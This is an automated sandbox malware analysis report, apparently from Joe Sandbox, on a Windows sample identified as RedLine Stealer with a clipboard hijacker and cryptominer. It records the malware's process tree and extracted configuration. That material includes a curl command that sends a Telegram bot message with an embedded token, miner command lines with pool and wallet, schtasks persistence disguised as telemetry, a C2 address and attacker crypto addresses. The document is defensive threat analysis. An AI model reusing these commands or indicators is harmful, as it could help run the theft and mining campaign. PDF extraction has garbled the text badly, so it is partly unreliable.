Automated Malware Analysis Report for voFzZ8TzxW.exe ...

103
ID: 553736 Sample Name: voFzZ8TzxW.exe Cookbook: default.jbs Time: 20:22:12 Date: 15/01/2022 Version: 34.0.0 Boulder Opal

Transcript of Automated Malware Analysis Report for voFzZ8TzxW.exe ...

ID: 553736Sample Name:voFzZ8TzxW.exeCookbook: default.jbsTime: 20:22:12Date: 15/01/2022Version: 34.0.0 Boulder Opal

2555555566666667777777788888888999

10101011121213131313131313131414141414151515151818181818191919191919

191919191920

Table of Contents

Table of ContentsWindows Analysis Report voFzZ8TzxW.exe

OverviewGeneral InformationDetectionSignaturesClassification

Process TreeMalware Configuration

Threatname: Clipboard HijackerThreatname: RedLine

Yara OverviewPCAP (Network Traffic)Dropped FilesMemory DumpsUnpacked PEs

Sigma OverviewSystem Summary:

Jbx Signature OverviewAV Detection:Bitcoin Miner:Networking:System Summary:Data Obfuscation:Boot Survival:Malware Analysis System Evasion:Anti Debugging:HIPS / PFW / Operating System Protection Evasion:Stealing of Sensitive Information:Remote Access Functionality:

Mitre Att&ck MatrixBehavior GraphScreenshots

ThumbnailsAntivirus, Machine Learning and Genetic Malware Detection

Initial SampleDropped FilesUnpacked PE FilesDomainsURLs

Domains and IPsContacted DomainsContacted URLsURLs from Memory and BinariesContacted IPsPublicPrivate

General InformationSimulations

Behavior and APIsJoe Sandbox View / Context

IPsDomainsASNJA3 FingerprintsDropped Files

Created / dropped FilesStatic File Info

GeneralFile IconStatic PE Info

GeneralEntrypoint PreviewData DirectoriesSectionsResourcesImportsVersion Infos

Network BehaviorNetwork Port DistributionTCP PacketsUDP PacketsDNS QueriesDNS Answers

Copyright Joe Security LLC 2022 Page 2 of 103

20202193939393939394949494

949494949494

95

959595959595

9595

9595

959596969696

969696

9696979797

9797

979797

9898

9898

9898

9898

9999

9999

9999

100100

100100

100100

101101

101101

101101

101101

102102

102102

102102

102103

103103

103103

103

HTTP Request Dependency GraphHTTP PacketsHTTPS Proxied Packets

Code ManipulationsStatistics

BehaviorSystem Behavior

Analysis Process: voFzZ8TzxW.exe PID: 7012 Parent PID: 4936GeneralFile Activities

File CreatedFile WrittenFile Read

Analysis Process: RegAsm.exe PID: 6656 Parent PID: 7012GeneralFile Activities

File CreatedFile WrittenFile Read

Registry Activities

Analysis Process: safas2f.exe PID: 6096 Parent PID: 6656GeneralFile Activities

File CreatedFile WrittenFile Read

Registry ActivitiesKey Value Created

Analysis Process: conhost.exe PID: 7124 Parent PID: 6096General

Analysis Process: whw.exe PID: 6992 Parent PID: 6656GeneralFile Activities

File CreatedFile WrittenFile Read

Analysis Process: curl.exe PID: 1864 Parent PID: 6096GeneralFile Activities

Analysis Process: e3dwefw.exe PID: 3108 Parent PID: 6656GeneralFile Activities

File CreatedFile Written

Analysis Process: conhost.exe PID: 3116 Parent PID: 1864General

Analysis Process: schtasks.exe PID: 4620 Parent PID: 3108GeneralFile Activities

Analysis Process: conhost.exe PID: 6008 Parent PID: 4620General

Analysis Process: explorer.exe PID: 6172 Parent PID: 6096General

Analysis Process: oobeldr.exe PID: 6040 Parent PID: 664General

Analysis Process: bfsvc.exe PID: 6972 Parent PID: 6096General

Analysis Process: schtasks.exe PID: 2408 Parent PID: 6040General

Analysis Process: conhost.exe PID: 5068 Parent PID: 2408General

Analysis Process: conhost.exe PID: 5908 Parent PID: 6972General

Analysis Process: RegHost.exe PID: 5524 Parent PID: 3352General

Analysis Process: conhost.exe PID: 6148 Parent PID: 5524General

Analysis Process: explorer.exe PID: 5824 Parent PID: 5524General

Analysis Process: RegHost.exe PID: 3628 Parent PID: 6172General

Analysis Process: bfsvc.exe PID: 5784 Parent PID: 5524General

Analysis Process: RegHost.exe PID: 4768 Parent PID: 3352General

Analysis Process: conhost.exe PID: 6084 Parent PID: 4768General

Analysis Process: explorer.exe PID: 760 Parent PID: 4768General

Analysis Process: RegHost.exe PID: 6340 Parent PID: 3352General

Analysis Process: conhost.exe PID: 3544 Parent PID: 6340General

Analysis Process: bfsvc.exe PID: 1308 Parent PID: 4768General

Analysis Process: conhost.exe PID: 7112 Parent PID: 3628General

Analysis Process: explorer.exe PID: 6200 Parent PID: 6340General

DisassemblyCopyright Joe Security LLC 2022 Page 3 of 103

103Code Analysis

Copyright Joe Security LLC 2022 Page 4 of 103

Windows Analysis Report voFzZ8TzxW.exe

Overview

General Information

Sample Name:

voFzZ8TzxW.exe

Analysis ID: 553736

MD5: 19f1cf6156dfc1b…

SHA1: 472d1290df8edc6…

SHA256: 79b3c2f31ddcb74…

Tags: exe RedLineStealer

Infos:

Most interesting Screenshot:

Detection

Clipboard HijackerClipboard HijackerPhoenix MinerPhoenix Miner

RedLineRedLineScore: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Yara detected Clipboard Hijacker

Yara detected Clipboard Hijacker

Yara detected Clipboard Hijacker

Yara detected Clipboard Hijacker

Yara detected Clipboard Hijacker

Yara detected Clipboard Hijacker

Yara detected Clipboard HijackerYara detected Clipboard Hijacker

Yara detected Phoenix Miner

Yara detected Phoenix Miner

Yara detected Phoenix Miner

Yara detected Phoenix Miner

Yara detected Phoenix Miner

Yara detected Phoenix Miner

Yara detected Phoenix MinerYara detected Phoenix Miner

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&

Uses the Telegram API (likely for C&Uses the Telegram API (likely for C&……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign processAllocates memory in foreign process……

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains wPerforms DNS queries to domains w……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device informQueries sensitive video device inform……

Contains functionality to compare us

Contains functionality to compare us

Contains functionality to compare us

Contains functionality to compare us

Contains functionality to compare us

Contains functionality to compare us

Contains functionality to compare usContains functionality to compare us……

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add

Uses schtasks.exe or at.exe to add Uses schtasks.exe or at.exe to add ……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency WalletsTries to steal Crypto Currency Wallets

Injects code into the Windows Explo

Injects code into the Windows Explo

Injects code into the Windows Explo

Injects code into the Windows Explo

Injects code into the Windows Explo

Injects code into the Windows Explo

Injects code into the Windows ExploInjects code into the Windows Explo……

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sectionsPE file has nameless sections

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (vQueries sensitive disk information (v……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/FireChecks if Antivirus/Antispyware/Fire……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stop

Found evasive API chain (may stopFound evasive API chain (may stop……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

HTTP GET or POST without a user

HTTP GET or POST without a user

HTTP GET or POST without a user

HTTP GET or POST without a user

HTTP GET or POST without a user

HTTP GET or POST without a user

HTTP GET or POST without a user HTTP GET or POST without a user ……

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version foUses insecure TLS / SSL version fo……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time stBinary contains a suspicious time st……

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executed

Found large amount of non-executedFound large amount of non-executed……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

voFzZ8TzxW.exe (PID: 7012 cmdline: "C:\Users\user\Desktop\voFzZ8TzxW.exe" MD5: 19F1CF6156DFC1B78F7AEC62FFECB3BE)

RegAsm.exe (PID: 6656 cmdline: #cmd MD5: 6FD7592411112729BF6B1F2F6C34899F)

safas2f.exe (PID: 6096 cmdline: "C:\Users\user\AppData\Roaming\safas2f.exe" MD5: BEC308E8E2D80CE6AC72020F906C4E55)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

curl.exe (PID: 1864 cmdline: curl "https://api.telegram.org/bot5064846500:AAHry1gCN-2xxTc0w6PEpBIOJMW-LhSNOkw/sendMessage?chat_id=-10014856

32573&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0A(Windows Defender has been turned off)" MD5: BDEBD2FC4927DA00EEA263AF9CF8F7ED)

conhost.exe (PID: 3116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 6172 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

RegHost.exe (PID: 3628 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe" MD5: BEC308E8E2D80CE6AC72020F906C4E55)

conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

bfsvc.exe (PID: 6972 cmdline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin

etc -worker bobrishe -mi 14 MD5: 178BA90AA13F6F834E5C060DC923FB55)conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

whw.exe (PID: 6992 cmdline: "C:\Users\user\AppData\Roaming\whw.exe" MD5: C3B2C5A14962F6255D5DEC89DF0290CA)

e3dwefw.exe (PID: 3108 cmdline: "C:\Users\user\AppData\Roaming\e3dwefw.exe" MD5: 67486B272027C5C08C37D2A7DFA3B019)

schtasks.exe (PID: 4620 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5:

15FF7D8324231381BAD48A052F85DF04)conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

oobeldr.exe (PID: 6040 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: 67486B272027C5C08C37D2A7DFA3B019)

schtasks.exe (PID: 2408 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5:

15FF7D8324231381BAD48A052F85DF04)conhost.exe (PID: 5068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegHost.exe (PID: 5524 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe" MD5: BEC308E8E2D80CE6AC72020F906C4E55)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 5824 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

bfsvc.exe (PID: 5784 cmdline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -

worker bobrishe -mi 14 MD5: 178BA90AA13F6F834E5C060DC923FB55)RegHost.exe (PID: 4768 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe" MD5: BEC308E8E2D80CE6AC72020F906C4E55)

conhost.exe (PID: 6084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 760 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

bfsvc.exe (PID: 1308 cmdline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -

worker bobrishe -mi 14 MD5: 178BA90AA13F6F834E5C060DC923FB55)RegHost.exe (PID: 6340 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe" MD5: BEC308E8E2D80CE6AC72020F906C4E55)

conhost.exe (PID: 3544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 6200 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cleanup

Process Tree

Copyright Joe Security LLC 2022 Page 5 of 103

{

"Crypto Addresses": [

"ronin:282021c78750ee323f2f841d9db3509bc2f1a077",

"LdEqF9c4cvHPqm4NN7JNZqCVibWVRBHS5e",

"RG9Q8DEt1x92FDQF1373EYuBuX4jgdDGco",

"bnb1ptte4k3sfaqr4m6vl7ques8q8cy2hq66ushwjw",

"MDWxxChn4C9iWUR6hYrqvdnXhpE2Q9Hgd7",

"bc1qp8v2u5uysmqjcg0rfjdh7m3u0vs24ea6jtsc7u",

"H1SMuqn1e3a145XpzSWQY3h2ji6ZVyEw95rLZUfpUXeo",

"1J126H4pwC86kPceH2zakrZZx4gHisTkHJ",

"TUqkRTXCvCKvRoU2Mg9zGuAhyTpzxKG2af",

"ltc1dEqF9c4cvHPqm4NN7qCVibWVRBHS5e122222233",

"r3hXTSiKJuwB8gnnktmJtw1Zj6Y7biSoUn",

"42ebb3vWZRURXAsQ98fXCLh4VAPZ5G1WtWsD5Yvm9nox1kTaaA93JirSHt6XPA5xcVAPyTKjfeVMNjpSDf2cF5Q52xnB3sc",

"cosmos1pfytmlzm95l80lrd2atnpzfukuwg06fh4sld0q",

"t1Ln3m2VMtUZThLohdvZycXTSKMkYgHRz3g",

"GGMIYGHGN33DV6FOTQFLMBYKEKBQ6K3E5O6NVNPAZZ4ESSMHYRYZX26MP4",

"Ae2tdPwUPEZ2EpmipYH5Ch7LjVJs6AC4G4d1SZqEFFpqAai2SkWi8HQp1ot",

"addr1q98xg3nvs825cvhxzvjdcvszeeclef9n08xsq8mvteuxm4jwv3rxeqw4fsewvyeymseq9nn3ljjtx7wdqq0kchncdhtqjspdya",

"XtQvtzrffNvH77PmjJU9uViQPi6dDRCHRj",

"DJs7zMyBuUc3y7VWtwfJMCwprYYiDCJ2UF",

"0x564deE06dD0867850A00791dA524dA8a33FD03dd",

"AJisGz8S4oE87RqzdJvj5aicBtFX7xveH4"

]

}

{

"C2 url": "46.3.197.253:15761",

"Bot Id": "cheat"

}

Source Rule Description Author Strings

dump.pcap JoeSecurity_RedLine_1 Yara detected RedLine Stealer

Joe Security

Source Rule Description Author Strings

dropped/ConDrv JoeSecurity_PhoenixMiner Yara detected Phoenix Miner

Joe Security

\Device\ConDrv JoeSecurity_PhoenixMiner Yara detected Phoenix Miner

Joe Security

dropped/ConDrv JoeSecurity_PhoenixMiner Yara detected Phoenix Miner

Joe Security

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

JoeSecurity_Clipboard_Hijacker

Yara detected Clipboard Hijacker

Joe Security

C:\Users\user\AppData\Roaming\e3dwefw.exe JoeSecurity_Clipboard_Hijacker

Yara detected Clipboard Hijacker

Joe Security

Click to see the 1 entries

Source Rule Description Author Strings

0000000C.00000000.319396121.0000000000402000.00000040.00000001.sdmp

JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

0000000C.00000002.408929530.0000000003801000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

00000012.00000000.362155476.0000000000E52000.00000002.00020000.sdmp

JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

0000000C.00000000.319716432.0000000000402000.00000040.00000001.sdmp

JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

Malware Configuration

Threatname: Clipboard Hijacker

Threatname: RedLine

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Copyright Joe Security LLC 2022 Page 6 of 103

Sigma Overview

System Summary:

Sigma detected: Windows Suspicious Use Of Web Request in CommandLine

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Bitcoin Miner:

Yara detected Phoenix Miner

Networking:

Uses the Telegram API (likely for C&C communication)

Performs DNS queries to domains with low reputation

System Summary:

PE file has nameless sections

00000001.00000002.325094679.0000000004381000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

Click to see the 13 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

20.2.e3dwefw.exe.e00000.0.unpack JoeSecurity_Clipboard_Hijacker

Yara detected Clipboard Hijacker

Joe Security

25.2.oobeldr.exe.200000.0.unpack JoeSecurity_Clipboard_Hijacker

Yara detected Clipboard Hijacker

Joe Security

1.2.voFzZ8TzxW.exe.4591170.2.raw.unpack JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

18.2.whw.exe.e50000.0.unpack JoeSecurity_RedLine Yara detected RedLine Stealer

Joe Security

20.0.e3dwefw.exe.e00000.0.unpack JoeSecurity_Clipboard_Hijacker

Yara detected Clipboard Hijacker

Joe Security

Click to see the 10 entries

Unpacked PEs

Copyright Joe Security LLC 2022 Page 7 of 103

Data Obfuscation:

Detected unpacking (changes PE section rights)

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to compare user and computer (likely to detect sandboxes)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Writes to foreign memory regions

Injects code into the Windows Explorer (explorer.exe)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected Clipboard Hijacker

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Remote Access Functionality:

Yara detected RedLine Stealer

Mitre Att&ck Matrix

InitialAccess Execution Persistence

PrivilegeEscalation Defense Evasion

CredentialAccess Discovery

LateralMovement Collection Exfiltration

Commandand Control

ValidAccounts

Windows ManagementInstrumentation 2 3 1

DLL Side-Loading 1

DLL Side-Loading 1

Disable or ModifyTools 1

OSCredentialDumping 1

System TimeDiscovery 1

RemoteServices

ArchiveCollectedData 1

ExfiltrationOver OtherNetworkMedium

WebService 1

DefaultAccounts

Native API 1 2 ScheduledTask/Job 1

ProcessInjection 5 1 2

Obfuscated Files orInformation 2

InputCapture 1

File and DirectoryDiscovery 2

RemoteDesktopProtocol

Data fromLocalSystem 2

ExfiltrationOverBluetooth

Ingress ToolTransfer 1

DomainAccounts

Scheduled Task/Job 1 RegistryRun Keys /StartupFolder 1

ScheduledTask/Job 1

SoftwarePacking 1 3

SecurityAccountManager

System InformationDiscovery 1 5 4

SMB/WindowsAdmin Shares

InputCapture 1

AutomatedExfiltration

EncryptedChannel 2 1

LocalAccounts

At (Windows) Logon Script(Mac)

Registry RunKeys / StartupFolder 1

Timestomp 1 NTDS Security SoftwareDiscovery 5 6 1

DistributedComponentObject Model

ClipboardData 2

ScheduledTransfer

Non-StandardPort 1

Copyright Joe Security LLC 2022 Page 8 of 103

CloudAccounts

Cron NetworkLogon Script

Network LogonScript

DLL Side-Loading 1 LSASecrets

Virtualization/SandboxEvasion 3 4 1

SSH Keylogging DataTransferSize Limits

Non-ApplicationLayerProtocol 2

ReplicationThroughRemovableMedia

Launchd Rc.common Rc.common Masquerading 1 CachedDomainCredentials

ProcessDiscovery 1 3

VNC GUI InputCapture

ExfiltrationOver C2Channel

ApplicationLayerProtocol 3

ExternalRemoteServices

Scheduled Task StartupItems

Startup Items Virtualization/SandboxEvasion 3 4 1

DCSync Application WindowDiscovery 1

WindowsRemoteManagement

WebPortalCapture

ExfiltrationOverAlternativeProtocol

CommonlyUsed Port

Drive-byCompromise

Command and ScriptingInterpreter

ScheduledTask/Job

ScheduledTask/Job

ProcessInjection 5 1 2

ProcFilesystem

Remote SystemDiscovery 1

SharedWebroot

CredentialAPIHooking

ExfiltrationOverSymmetricEncryptedNon-C2Protocol

ApplicationLayer Protocol

InitialAccess Execution Persistence

PrivilegeEscalation Defense Evasion

CredentialAccess Discovery

LateralMovement Collection Exfiltration

Commandand Control

Behavior Graph

ID: 553736

Sample: voFzZ8TzxW.exe

Startdate: 15/01/2022

Architecture: WINDOWS

Score: 100

Found malware configurationAntivirus detectionfor URL or domain

Multi AV Scanner detectionfor submitted file

6 other signatures

voFzZ8TzxW.exe

3

started

RegHost.exe

started

RegHost.exe

started

2 other processes

C:\Users\user\AppData\...\voFzZ8TzxW.exe.log, ASCII

dropped

Writes to foreign memoryregions

Injects a PE file intoa foreign processes

RegAsm.exe

15 9

started

Antivirus detectionfor dropped file

Multi AV Scanner detectionfor dropped file

Detected unpacking (changesPE section rights)

Machine Learning detectionfor dropped file

bfsvc.exe

started

conhost.exe

started

explorer.exe

started

Injects code into theWindows Explorer (explorer.exe)

Allocates memory inforeign processes

Modifies the contextof a thread in another

process (thread injection)

bfsvc.exe

started

conhost.exe

started

explorer.exe

started

Hides threads from debuggers

schtasks.exe

started

2 other processes

c9d0e790b353537889bd47a364f5acff43c11f247.xyz

185.112.83.97, 49748, 80

SUPERSERVERSDATACENTERRU

Russian Federation

185.112.83.99, 49750, 8888

SUPERSERVERSDATACENTERRU

Russian Federation

3 other IPs or domains

C:\Users\user\AppData\Roaming\whw.exe, PE32

dropped

C:\Users\user\AppData\Roaming\safas2f.exe, PE32+

dropped

C:\Users\user\AppData\Roaming\e3dwefw.exe, PE32

dropped

Queries sensitive videodevice information (via

WMI, Win32_VideoController,often done to detect

virtual machines)

Performs DNS queriesto domains with low

reputation

Queries sensitive diskinformation (via WMI,

Win32_DiskDrive, oftendone to detect virtual

machines)

safas2f.exe

1 2

started

whw.exe

3

started

e3dwefw.exe

1

started \Device\ConDrv, ASCII

dropped

Hides threads from debuggers

conhost.exe

started

C:\Users\user\AppData\Roaming\...\RegHost.exe, PE32+

dropped

Antivirus detectionfor dropped file

Multi AV Scanner detectionfor dropped file

Detected unpacking (changesPE section rights)

6 other signatures

explorer.exe

started

bfsvc.exe

started

curl.exe

1

started

conhost.exe

started

46.3.197.253, 15761, 49788

ALEXHOST_SRLMD

Russian Federation

Queries sensitive videodevice information (via

WMI, Win32_VideoController,often done to detect

virtual machines)

Machine Learning detectionfor dropped file

Queries sensitive diskinformation (via WMI,

Win32_DiskDrive, oftendone to detect virtual

machines)

2 other signatures

C:\Users\user\AppData\Roaming\...\oobeldr.exe, PE32

dropped

Found evasive API chain(may stop executionafter checking mutex)

